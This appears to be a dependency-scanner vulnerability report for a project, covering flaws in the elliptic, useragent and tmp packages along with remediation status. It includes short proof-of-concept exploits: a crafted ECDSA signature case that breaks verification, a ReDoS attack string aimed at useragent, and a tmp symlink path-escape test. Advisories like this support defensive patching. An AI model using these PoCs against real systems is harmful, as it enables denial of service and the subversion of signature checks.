Vulnerabilities

4 via 4 paths

Dependencies

119

Source

GitHub

Commit

b2f4c817

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
  • 1
  • 2
Status
  • 4
  • 0
  • 0

critical severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: elliptic
  • Introduced through: jwk-to-pem@2.0.7

Detailed paths

  • Introduced through: fcp-defra-id-example@defra/fcp-defra-id-example#b2f4c81708aef7d32af6337291a018759c4d8e22 jwk-to-pem@2.0.7 elliptic@6.6.1

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to an anomaly in the _truncateToN function. An attacker can cause legitimate transactions or communications to be incorrectly flagged as invalid by exploiting the signature verification process when the hash contains at least four leading 0 bytes, and the order of the elliptic curve's base point is smaller than the hash.

In some situations, a private key exposure is possible. This can happen when an attacker knows a faulty and the corresponding correct signature for the same message.

Note: Although the vector for exploitation of this vulnerability was restricted with the release of versions 6.6.0 and 6.6.1, it remains possible to generate invalid signatures in some cases in those releases as well.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.7
var hash = require('hash.js');
var BN = require('bn.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('p192');
var msg = '343236343739373234';
var sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b';
// Same public key just in different formats
var pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723';
var pkPem = '-----BEGIN PUBLIC KEY-----\nMEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEzTWgsY7rj82H/wGXgAEoKHRfBG54\nXeuigVDeG+bLQ3ZSMAa+/zD/CbQEkSXO0pcj\n-----END PUBLIC KEY-----\n';

// Create hash
var hashArray = hash.sha256().update(toArray(msg, 'hex')).digest();
// Convert array to string (just for showcase of the leading zeros)
var hashStr = Array.from(hashArray, function(byte) {
  return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('');
var hMsg = new BN(hashArray, 'hex');
// Hashed message contains 4 leading zeros bytes
console.log('sha256 hash(str): ' + hashStr);
// Due to using BN bitLength lib it does not calculate the bit length correctly (should be 32 since it is a sha256 hash)
console.log('Byte len of sha256 hash: ' + hMsg.byteLength());
console.log('sha256 hash(BN): ' + hMsg.toString(16));

// Due to the shift of the message to be within the order of the curve the delta computation is invalid
var pubKey = ec.keyFromPublic(toArray(pk, 'hex'));
console.log('Valid signature: ' + pubKey.verify(hashStr, sig));

// You can check that this hash should validate by consolidating openssl
const fs = require('fs');
fs.writeFile('msg.bin', new BN(msg, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('sig.bin', new BN(sig, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('cert.pem', pkPem, (err) => {
  if (err) throw err;
});

// To verify the correctness of the message signature and key one can run:
// openssl dgst -sha256 -verify cert.pem -signature sig.bin msg.bin
// Or run this python script
/*
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec


msg = '343236343739373234'
sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b'
pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723'

p192 = ec.SECP192R1()
pk = ec.EllipticCurvePublicKey.from_encoded_point(p192, bytes.fromhex(pk))
pk.verify(bytes.fromhex(sig), bytes.fromhex(msg), ec.ECDSA(hashes.SHA256()))
*/

Remediation

There is no fixed version for elliptic.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: useragent
  • Introduced through: @hapi/scooter@7.0.0

Detailed paths

  • Introduced through: fcp-defra-id-example@defra/fcp-defra-id-example#b2f4c81708aef7d32af6337291a018759c4d8e22 @hapi/scooter@7.0.0 useragent@2.3.0

Overview

useragent allows you to parse user agent string with high accuracy by using hand tuned dedicated regular expressions for browser matching.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing long user-agent strings.

This is due to incomplete fix for this vulnerability: https://snyk.io/vuln/SNYK-JS-USERAGENT-11000.

An attempt to fix the vulnerability has been pushed to master.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: useragent
  • Introduced through: @hapi/scooter@7.0.0

Detailed paths

  • Introduced through: fcp-defra-id-example@defra/fcp-defra-id-example#b2f4c81708aef7d32af6337291a018759c4d8e22 @hapi/scooter@7.0.0 useragent@2.3.0

Overview

useragent is an allows you to parse user agent string with high accuracy by using hand tuned dedicated regular expressions for browser matching.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of insecure regular expressions in the regexps.js component.

PoC

var useragent = require('useragent');

var attackString = "HbbTV/1.1.1CE-HTML/1.9;THOM	" + new Array(20).join("SW-Version/");
// A copy of the regular expression
var reg = /(HbbTV)\/1\.1\.1.*CE-HTML\/1\.\d;(Vendor\/)*(THOM[^;]*?)[;\s](?:.*SW-Version\/.*)*(LF[^;]+);?/;

var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + attackString + '\r\n\r\n';
console.log(useragent.parse(request).device);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for useragent.

References

medium severity
new

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: @hapi/scooter@7.0.0

Detailed paths

  • Introduced through: fcp-defra-id-example@defra/fcp-defra-id-example#b2f4c81708aef7d32af6337291a018759c4d8e22 @hapi/scooter@7.0.0 useragent@2.3.0 tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References